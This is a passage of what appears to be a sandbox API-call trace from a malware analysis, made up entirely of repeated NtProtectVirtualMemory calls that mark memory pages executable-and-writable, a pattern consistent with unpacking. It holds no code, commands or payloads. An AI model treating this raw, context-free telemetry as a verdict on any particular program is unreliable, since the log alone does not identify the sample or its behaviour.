OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.954] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.981] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0334.991] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.128] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.245] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.313] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.340] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.409] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.570] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.580] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.590] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.675] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0335.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | 